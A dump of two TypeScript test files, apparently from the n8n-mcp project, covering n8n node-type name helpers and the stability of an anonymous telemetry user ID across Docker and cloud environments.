expect(isLangChainNode('@n8n/n8n-nodes-langchain.chatOpenAi')).toBe(true);
expect(isLangChainNode('nodes-langchain.vectorStore')).toBe(true);
});
it('should reject non-langchain nodes', () => {
expect(isLangChainNode('nodes-base.httpRequest')).toBe(false);
expect(isLangChainNode('n8n-nodes-base.webhook')).toBe(false);
expect(isLangChainNode('openAi')).toBe(false);
});
});
describe('isValidNodeTypeFormat', () => {
it('should validate correct node type formats', () => {
expect(isValidNodeTypeFormat('nodes-base.httpRequest')).toBe(true);
expect(isValidNodeTypeFormat('n8n-nodes-base.webhook')).toBe(true);
expect(isValidNodeTypeFormat('nodes-langchain.openAi')).toBe(true);
// @n8n/n8n-nodes-langchain.chatOpenAi actually has a slash in the first part, so it appears as 2 parts when split by dot
expect(isValidNodeTypeFormat('@n8n/n8n-nodes-langchain.chatOpenAi')).toBe(true);
});
it('should reject invalid formats', () => {
expect(isValidNodeTypeFormat('httpRequest')).toBe(false); // No package
expect(isValidNodeTypeFormat('nodes-base.')).toBe(false); // No node name
expect(isValidNodeTypeFormat('.httpRequest')).toBe(false); // No package
expect(isValidNodeTypeFormat('nodes.base.httpRequest')).toBe(false); // Too many parts
expect(isValidNodeTypeFormat('')).toBe(false);
});
it('should handle invalid types', () => {
expect(isValidNodeTypeFormat(null as any)).toBe(false);
expect(isValidNodeTypeFormat(undefined as any)).toBe(false);
expect(isValidNodeTypeFormat(123 as any)).toBe(false);
});
});
describe('getNodeTypeVariations', () => {
it('should generate variations for node name without package', () => {
const variations = getNodeTypeVariations('httpRequest');
expect(variations).toContain('nodes-base.httpRequest');
expect(variations).toContain('n8n-nodes-base.httpRequest');
expect(variations).toContain('nodes-langchain.httpRequest');
expect(variations).toContain('@n8n/n8n-nodes-langchain.httpRequest');
});
it('should generate variations for normalized base node', () => {
const variations = getNodeTypeVariations('nodes-base.httpRequest');
expect(variations).toContain('nodes-base.httpRequest');
expect(variations).toContain('n8n-nodes-base.httpRequest');
expect(variations.length).toBe(2);
});
it('should generate variations for denormalized base node', () => {
const variations = getNodeTypeVariations('n8n-nodes-base.webhook');
expect(variations).toContain('nodes-base.webhook');
expect(variations).toContain('n8n-nodes-base.webhook');
expect(variations.length).toBe(2);
});
it('should generate variations for normalized langchain node', () => {
const variations = getNodeTypeVariations('nodes-langchain.openAi');
expect(variations).toContain('nodes-langchain.openAi');
expect(variations).toContain('@n8n/n8n-nodes-langchain.openAi');
expect(variations.length).toBe(2);
});
it('should generate variations for denormalized langchain node', () => {
const variations = getNodeTypeVariations('@n8n/n8n-nodes-langchain.chatOpenAi');
expect(variations).toContain('nodes-langchain.chatOpenAi');
expect(variations).toContain('@n8n/n8n-nodes-langchain.chatOpenAi');
expect(variations.length).toBe(2);
});
it('should remove duplicates from variations', () => {
const variations = getNodeTypeVariations('nodes-base.httpRequest');
const uniqueVariations = [...new Set(variations)];
expect(variations.length).toBe(uniqueVariations.length);
});
});
});
```
--------------------------------------------------------------------------------
/tests/integration/telemetry/docker-user-id-stability.test.ts:
--------------------------------------------------------------------------------
```typescript
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { TelemetryConfigManager } from '../../../src/telemetry/config-manager';
import { existsSync, readFileSync, unlinkSync, rmSync } from 'fs';
import { join, resolve } from 'path';
import { homedir } from 'os';
/**
* Integration tests for Docker user ID stability
* Tests actual file system operations and environment detection
*/
describe('Docker User ID Stability - Integration Tests', () => {
let manager: TelemetryConfigManager;
const configPath = join(homedir(), '.n8n-mcp', 'telemetry.json');
const originalEnv = { ...process.env };
beforeEach(() => {
// Clean up any existing config
try {
if (existsSync(configPath)) {
unlinkSync(configPath);
}
} catch (error) {
// Ignore cleanup errors
}
// Reset singleton
(TelemetryConfigManager as any).instance = null;
// Reset environment
process.env = { ...originalEnv };
});
afterEach(() => {
// Restore environment
process.env = originalEnv;
// Clean up test config
try {
if (existsSync(configPath)) {
unlinkSync(configPath);
}
} catch (error) {
// Ignore cleanup errors
}
});
describe('boot_id file reading', () => {
it('should read boot_id from /proc/sys/kernel/random/boot_id if available', () => {
const bootIdPath = '/proc/sys/kernel/random/boot_id';
// Skip test if not on Linux or boot_id not available
if (!existsSync(bootIdPath)) {
console.log('⚠️ Skipping boot_id test - not available on this system');
return;
}
try {
const bootId = readFileSync(bootIdPath, 'utf-8').trim();
// Verify it's a valid UUID
const uuidRegex = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
expect(bootId).toMatch(uuidRegex);
expect(bootId).toHaveLength(36); // UUID with dashes
} catch (error) {
console.log('⚠️ boot_id exists but not readable:', error);
}
});
it('should generate stable user ID when boot_id is available in Docker', () => {
const bootIdPath = '/proc/sys/kernel/random/boot_id';
// Skip if not in Docker environment or boot_id not available
if (!existsSync(bootIdPath)) {
console.log('⚠️ Skipping Docker boot_id test - not in Linux container');
return;
}
process.env.IS_DOCKER = 'true';
manager = TelemetryConfigManager.getInstance();
const userId1 = manager.getUserId();
// Reset singleton and get new instance
(TelemetryConfigManager as any).instance = null;
manager = TelemetryConfigManager.getInstance();
const userId2 = manager.getUserId();
// Should be identical across recreations (boot_id is stable)
expect(userId1).toBe(userId2);
expect(userId1).toMatch(/^[a-f0-9]{16}$/);
});
});
describe('persistence across getInstance() calls', () => {
it('should return same user ID across multiple getInstance() calls', () => {
process.env.IS_DOCKER = 'true';
const manager1 = TelemetryConfigManager.getInstance();
const userId1 = manager1.getUserId();
const manager2 = TelemetryConfigManager.getInstance();
const userId2 = manager2.getUserId();
const manager3 = TelemetryConfigManager.getInstance();
const userId3 = manager3.getUserId();
expect(userId1).toBe(userId2);
expect(userId2).toBe(userId3);
expect(manager1).toBe(manager2);
expect(manager2).toBe(manager3);
});
it('should persist user ID to disk and reload correctly', () => {
process.env.IS_DOCKER = 'true';
// First instance - creates config
const manager1 = TelemetryConfigManager.getInstance();
const userId1 = manager1.getUserId();
// Load config to trigger save
manager1.loadConfig();
// Wait a bit for file write
expect(existsSync(configPath)).toBe(true);
// Reset singleton
(TelemetryConfigManager as any).instance = null;
// Second instance - loads from disk
const manager2 = TelemetryConfigManager.getInstance();
const userId2 = manager2.getUserId();
expect(userId1).toBe(userId2);
});
});
describe('Docker vs non-Docker detection', () => {
it('should detect Docker environment via IS_DOCKER=true', () => {
process.env.IS_DOCKER = 'true';
manager = TelemetryConfigManager.getInstance();
const config = manager.loadConfig();
// In Docker, should use boot_id-based method
expect(config.userId).toMatch(/^[a-f0-9]{16}$/);
});
it('should use file-based method for non-Docker local installations', () => {
// Ensure no Docker/cloud environment variables
delete process.env.IS_DOCKER;
delete process.env.RAILWAY_ENVIRONMENT;
delete process.env.RENDER;
delete process.env.FLY_APP_NAME;
delete process.env.HEROKU_APP_NAME;
delete process.env.AWS_EXECUTION_ENV;
delete process.env.KUBERNETES_SERVICE_HOST;
delete process.env.GOOGLE_CLOUD_PROJECT;
delete process.env.AZURE_FUNCTIONS_ENVIRONMENT;
manager = TelemetryConfigManager.getInstance();
const config = manager.loadConfig();
// Should generate valid user ID
expect(config.userId).toMatch(/^[a-f0-9]{16}$/);
// Should persist to file for local installations
expect(existsSync(configPath)).toBe(true);
});
});
describe('environment variable detection', () => {
it('should detect Railway cloud environment', () => {
process.env.RAILWAY_ENVIRONMENT = 'production';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
// Should use Docker/cloud method (boot_id-based)
expect(userId).toMatch(/^[a-f0-9]{16}$/);
});
it('should detect Render cloud environment', () => {
process.env.RENDER = 'true';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
expect(userId).toMatch(/^[a-f0-9]{16}$/);
});
it('should detect Fly.io cloud environment', () => {
process.env.FLY_APP_NAME = 'n8n-mcp-app';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
expect(userId).toMatch(/^[a-f0-9]{16}$/);
});
it('should detect Heroku cloud environment', () => {
process.env.HEROKU_APP_NAME = 'n8n-mcp-app';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
expect(userId).toMatch(/^[a-f0-9]{16}$/);
});
it('should detect AWS cloud environment', () => {
process.env.AWS_EXECUTION_ENV = 'AWS_ECS_FARGATE';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
expect(userId).toMatch(/^[a-f0-9]{16}$/);
});
it('should detect Kubernetes environment', () => {
process.env.KUBERNETES_SERVICE_HOST = '10.0.0.1';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
expect(userId).toMatch(/^[a-f0-9]{16}$/);
});
it('should detect Google Cloud environment', () => {
process.env.GOOGLE_CLOUD_PROJECT = 'n8n-mcp-project';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
expect(userId).toMatch(/^[a-f0-9]{16}$/);
});
it('should detect Azure cloud environment', () => {
process.env.AZURE_FUNCTIONS_ENVIRONMENT = 'production';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
expect(userId).toMatch(/^[a-f0-9]{16}$/);
});
});
describe('fallback chain behavior', () => {
it('should use combined fingerprint fallback when boot_id unavailable', () => {
// Set Docker environment but boot_id won't be available on macOS
process.env.IS_DOCKER = 'true';
manager = TelemetryConfigManager.getInstance();
const userId = manager.getUserId();
// Should still generate valid user ID via fallback
expect(userId).toMatch(/^[a-f0-9]{16}$/);
expect(userId).toHaveLength(16);
});
it('should generate consistent generic Docker ID when all else fails', () => {
// Set Docker but no boot_id or /proc signals available (e.g., macOS)
process.env.IS_DOCKER = 'true';
const manager1 = TelemetryConfigManager.getInstance();
const userId1 = manager1.getUserId();
// Reset singleton
(TelemetryConfigManager as any).instance = null;
const manager2 = TelemetryConfigManager.getInstance();
const userId2 = manager2.getUserId();
// Generic Docker ID should be consistent across calls
expect(userId1).toBe(userId2);
expect(userId1).toMatch(/^[a-f0-9]{16}$/);
});
});
});
```